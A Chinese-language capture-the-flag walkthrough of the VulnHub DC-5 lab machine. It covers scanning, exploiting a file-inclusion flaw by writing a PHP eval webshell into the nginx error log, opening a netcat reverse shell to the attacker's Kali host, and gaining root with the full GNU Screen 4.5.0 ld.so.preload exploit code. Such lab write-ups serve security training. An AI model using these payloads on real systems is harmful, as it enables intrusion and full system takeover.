目录
DC-5靶机:
先进行主机发现:
发现文件包含:
上传一句话木马:
反弹shell:
提权漏洞利用:
下载exp:
第一个文件 libhax.c
第二个文件rootshell.c:
第三个文件 dc5.sh:
flag:
DC-5靶机:
https://www.vulnhub.com/entry/dc-5,314/
靶机和kali都调节至NAT模式,即可开始渗透
先进行主机发现:
arp-scan -l
以下报告中得知靶机ip是192.168.183.148
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.183.1 00:50:56:c0:00:08 (Unknown)
192.168.183.2 00:50:56:fc:0d:25 (Unknown)
192.168.183.148 00:0c:29:aa:41:f8 (Unknown)
192.168.183.254 00:50:56:fe:ac:e6 (Unknown)
Nmap扫描192.168.183.148:
nmap -sV -p- 192.168.183.148
得到报告
Nmap scan report for 192.168.183.148
Host is up (0.00061s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
41656/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:AA:41:F8 (VMware)
- 80/tcp:这个端口标识为开放状态,使用的协议是HTTP。服务器软件是Nginx版本1.6.2。
- 111/tcp:这个端口标识为开放状态,使用的协议是RPCBIND。RPCBIND是一个用于远程过程调用(RPC)服务的端口映射程序,它能将RPC程序映射到其所使用的端口上。RPC是一种用于不同计算机之间进行通信和调用远程程序的协议。
- 41656/tcp:这个端口标识为开放状态,使用的协议是STATUS。STATUS是一个RPC服务的标识号,它通常用于获取远程主机的系统状态信息。
发现文件包含:
dirsearch扫描ip后点击几个页面后发现,在/footer.php这个页面每次刷新年份都不一样,
而在/thankyou.php这个页面下的年份刷新有概率刷出不一样的年份,这说明年份信息是动态获取的,thankyou.php页面的年份刷新逻辑可能会从某个动态数据源中获取年份信息,可能这个年份信息就是从外部文件(footer.php)中获取的。这里的年份变化可能会和文件包含或者随机算法代码逻辑有关,这里我们用参数file测试,发现file=footer.php和file=空时,底下会有区别(一个有年份另一个是空)
当file=/etc/passwd时,读取了文件信息,确认有文件包含漏洞
上传一句话木马:
我们从前面的信息收集中已知这是Nginx服务器,Nginx的日志文件通常位于服务器上的/var/log/nginx目录下,但实际的位置可能因操作系统版本、Nginx配置文件等因素而有所不同。
在Ubuntu和Debian Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:
- access.log:记录所有HTTP请求和响应的详细信息,包括时间、请求方法、URL、HTTP协议版本、响应状态码、响应大小等。
- error.log:记录Nginx服务器的错误和警告信息,例如无法启动服务、配置文件错误、连接超时等。
在CentOS或RHEL Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:
- access_log:与Ubuntu相同,记录所有HTTP请求和响应的详细信息。
- error_log:与Ubuntu相同,记录Nginx服务器的错误和警告信息。
错误日志会将所有的错误信息都存入日志,如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,那么我们就可以把一句话木马当成这个“不存在的文件名”,接机把一句话木马存入到error.log。直接在url栏写木马可能会被编码后再存入,木马就失效了,所以抓包传木马。以下为数据包内容:
GET /thankyou.php?file=<?Php eval($_REQUEST[6]); ?> HTTP/1.1
Host: 192.168.183.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.183.148/contact.php
Upgrade-Insecure-Requests: 1
再次访问http://192.168.183.148/thankyou.php?file=/var/log/nginx/error.log即可看到因为文件名不存在,而写入错误日志的一句话木马
蚁剑链接木马,右击数据点击虚拟终端,在虚拟终端里nc反弹shell
反弹shell:
kali开启监听:
nc -lvvp 666
nc反弹:
nc 192.168.183.138 666 -e /bin/bash
进入交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
查找设置了Suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
在出来的数据里我们能看见screen 4.5.0,Screen是一个在Unix和类Unix系统上运行的终端复用程序。它允许用户在单个物理终端或远程SSH会话中同时运行多个虚拟终端,并能够在后台运行、分离和恢复会话。和DC-4一样,searchsploit搜索一下exp
提权漏洞利用:
searchsploit scree 4.5.0
出现报告,给出两个exp:
---------------------- ---------------------------------
Exploit Title | Path
---------------------- ---------------------------------
GNU Screen 4.5.0 - Lo | linux/local/41152.txt
GNU Screen 4.5.0 - Lo | linux/local/41154.sh
---------------------- ---------------------------------
Shellcodes: No Results
下载exp:
searchsploit -m 41154.sh
以下报告得知我的exp下载在 /home/kali/41154.sh
Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/41154
Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
Codes: N/A
Verified: True
File Type: Bourne-Again shell script, ASCII text executable
Copied to: /home/kali/41154.sh
然后根据指示操作:
第一个文件 libhax.c
vim libhax.c
然后复制以下内容进去:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
单独保存并编译,成功会生成libhax.so文件 :
gcc -fPIC -shared -ldl -o libhax.so libhax.c
第二个文件rootshell.c:
vim rootshell.c
然后复制以下内容进去:
#include <stdio.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL);
}
执行以下命令,成功会生成rootshell文件:
gcc -o rootshell rootshell.c
第三个文件 dc5.sh:
vim dc5.sh
复制以下内容进去:
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
ls查看三个文件是否存在
由于我的蚁剑就在kali里,所以我在靶机后台的/tmp里直接上传这三个文件(单击右键能看见文件上传选项),如果不在/tmp上传会上传失败,如果蚁剑在物理机,就把三个文件拖出去进行相同操作
上传成功后回到交互式shell这里,先到/tmp目录下
cd /
修改dc5.sh权限:
chmod +x dc5.sh
运行dc5.sh
dc5.sh
当出现#号时即为提权成功,whoami能看到root
flag:
flag在/root下